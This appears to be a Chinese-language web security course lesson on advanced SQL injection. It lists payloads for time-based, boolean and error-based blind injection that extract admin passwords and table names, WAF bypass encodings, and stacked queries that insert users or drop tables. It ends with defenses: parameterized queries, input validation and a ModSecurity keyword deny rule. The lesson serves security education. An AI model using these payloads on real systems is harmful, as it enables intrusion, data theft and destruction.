高级SQL注入技术
Web安全学习路径 | 模块3 | 课程5
1. 引言
高级SQL注入技术是Web安全领域中最具挑战性的攻击技术之一。本课程将深入探讨各种高级SQL注入技术,包括时间盲注、布尔盲注、报错注入等高级技巧,以及如何绕过WAF等安全防护。
学习目标: 掌握高级SQL注入技术的原理和利用方法,学习绕过WAF的技巧,理解各种注入类型的优缺点。
2. 高级注入技术
2.1 时间盲注
时间盲注通过观察服务器响应时间来判断注入是否成功:
// 时间盲注示例
1' AND (SELECT SLEEP(5) FROM users WHERE username='admin')-- -
1' AND IF((SELECT COUNT(*) FROM users)>0, SLEEP(5), 0)-- -
1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- -
2.2 布尔盲注
布尔盲注通过观察页面返回的不同状态来判断注入结果:
// 布尔盲注示例
1' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'-- -
1' AND (SELECT ASCII(SUBSTRING(password,1,1)) FROM users WHERE username='admin')>90-- -
1' AND EXISTS(SELECT * FROM users WHERE username='admin' AND password LIKE 'a%')-- -
2.3 报错注入
利用数据库报错信息获取数据:
// 报错注入示例
1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(VERSION(),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)-- -
1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT password FROM users LIMIT 1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)-- -
1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
3. WAF绕过技术
3.1 编码绕过
使用各种编码方式绕过WAF检测:
// URL编码
%27 OR %271%27=%271
// 双重URL编码
%2527 OR %25271%2527=%25271
// Unicode编码
\u0027 OR \u00271\u0027=\u00271
// 十六进制编码
0x27 OR 0x2731=0x2731
3.2 注释符绕过
使用不同的注释符和空白字符:
// 注释符示例
1'/**/OR/**/1=1-- -
1'/*!50000OR*/1=1-- -
1'%0AOR%0A1=1-- -
1'%09OR%091=1-- -
3.3 等价替换
使用等价的关键字和函数:
// 等价替换示例
OR = ||
AND = &&
= = LIKE
> = GREATEST
< = LEAST
4. 高级利用技术
4.1 堆叠注入
利用数据库支持多语句执行的特点:
// 堆叠注入示例
1'; INSERT INTO users (username,password) VALUES ('hacker','password')-- -
1'; DROP TABLE users-- -
1'; CREATE TABLE evil (cmd varchar(255))-- -
4.2 二阶注入
利用存储的数据进行二次注入:
// 第一步:存储恶意数据
1' UNION SELECT 'admin'-- -
// 第二步:利用存储的数据
UPDATE users SET password='hacked' WHERE username='admin'-- -
4.3 宽字节注入
利用字符编码特性绕过转义:
// 宽字节注入示例
1%df' OR 1=1-- -
1%df' UNION SELECT 1,2,3-- -
5. 防御措施
5.1 参数化查询
使用参数化查询防止SQL注入:
// 不安全的代码
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
// 安全的参数化查询
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
5.2 输入验证
实施严格的输入验证:
// 输入验证示例
function validateInput($input) {
// 移除危险字符
$input = preg_replace('/[^a-zA-Z0-9]/', '', $input);
// 限制长度
$input = substr($input, 0, 50);
// 转义特殊字符
$input = addslashes($input);
return $input;
}
5.3 WAF配置
正确配置WAF规则:
# ModSecurity规则示例
SecRule REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_HEADERS|ARGS_NAMES|ARGS|XML:/* "@rx (?i)(select|union|insert|update|delete|drop|alter|create|rename|truncate|backup|restore|load|outfile|dumpfile|shell|exec|system|cmd)" "id:1000,phase:1,deny,status:403,msg:'SQL Injection Attempt'"